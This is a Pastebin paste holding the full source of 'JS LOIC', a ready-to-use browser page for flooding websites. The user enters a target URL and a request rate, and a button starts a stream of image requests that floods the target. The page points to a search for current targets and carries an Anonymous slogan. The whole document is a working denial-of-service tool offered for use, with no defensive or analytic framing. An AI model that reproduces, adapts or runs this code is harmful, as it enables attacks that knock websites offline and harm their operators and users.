Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE HTML>
- <html>
- <head>
- <title>JS LOIC v0.1 PORTABLE</title>
- </head>
- <body style="background-color:#0A171F; color:#FFFFFF;">
- <h1><abbr title="JavaScript">JS</abbr> <abbr title="Low Orbit Ion Cannon">LOIC PORTABLE</abbr></h1>
- <h2 style="font-size:15px;">No need to download, install or setup anything - just click the button, sit and enjoy the show.</h2>
- <div style="position:absolute; width:100%; height:100%; left: 9px; top: 99px;">
- <div style="width:240px; height:100px; position:absolute;left:500px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Step 1. Select your target:</legend>
- <label>URL: <br /> <input id="targetURL" style="width:100%;" /></label>
- <small>For current target see: <a href="http://www.google.com.ar/search?q=target+loic&safe=off&prmd=ivns&source=lnms&tbs=mbl:1&oi=mode_link&ct=mode&cd=7&prmdo=1" target="_blank" style="color:#FFF;">Search Twitter</a></small>
- </fieldset>
- </div>
- <div style="width:240px; height:100px; position:absolute; left:780px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Step 2. Ready?</legend>
- <button id="fireButton" style="background-color:#336494; border-color:#FFF; color:#FFF; width:240px; height:70px;">IMMA CHARGING MAH LAZER</button>
- </fieldset>
- </div>
- <div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Optional. Options</legend>
- <label>Requests per second: <input style="width:40px;" id="rps" value="10" /></label><br />
- <label>Append message: <br /><input style="width:100%;" id="message" value="" /></label>
- </fieldset>
- </div>
- <div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
- <fieldset style="width:100%; height:100%;">
- <legend>Attack status:</legend>
- <dl>
- <dt>Requested:</dt>
- <dd id="requestedCtr">0</dd>
- <dt style="opacity: 0.5">Succeeded:</dt>
- <dd style="opacity: 0.5" id="succeededCtr">0</dd>
- <dt style="opacity: 0.5">Failed:</dt>
- <dd style="opacity: 0.5" id="failedCtr">0</dd>
- </dl>
- </fieldset>
- </div>
- <div style="width:840px; height:47px; font-size:14px; position:absolute; top:350px;">
- Somos anonymous , somos legion, no perdonamos, no olvidamos, esperanos!<br>
- </div>
- </div>
- <script>
- (function () {
- var fireInterval;
- var isFiring = false;
- var requestedCtrNode = document.getElementById("requestedCtr" ) ,
- succeededCtrNode = document.getElementById("succeededCtr" ) ,
- failedCtrNode = document.getElementById("failedCtr" ) ,
- targetURLNode = document.getElementById("targetURL" ) ,
- fireButton = document.getElementById("fireButton" ) ,
- messageNode = document.getElementById("message" ) ,
- rpsNode = document.getElementById("rps" ) ,
- timeoutNode = document.getElementById("timeout" ) ;
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;
- };
- var requestsHT = {}; // requests hash table, may come in handy later
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
- return;
- };
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };
- img.onabort = function () { onFail(rID); };
- img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
- img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
- requestsHT[rID] = img;
- onRequest(rID);
- };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr;
- };
- var onComplete = function (rID) {
- delete requestsHT[rID];
- };
- var onFail = function (rID) {
- // failedCtr++;
- //failedCtrNode.innerHTML = failedCtr;
- succeededCtr++; //Seems like the url will always fail it it isn't an image
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
- };
- var onSuccess = function (rID) {
- succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr;
- delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {
- clearInterval(fireInterval);
- isFiring = false;
- this.innerHTML = "IMMA CHARGING MAH LAZER";
- } else {
- isFiring = true;
- this.innerHTML = "Stop flooding";
- fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
- }
- };
- })();
- </script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement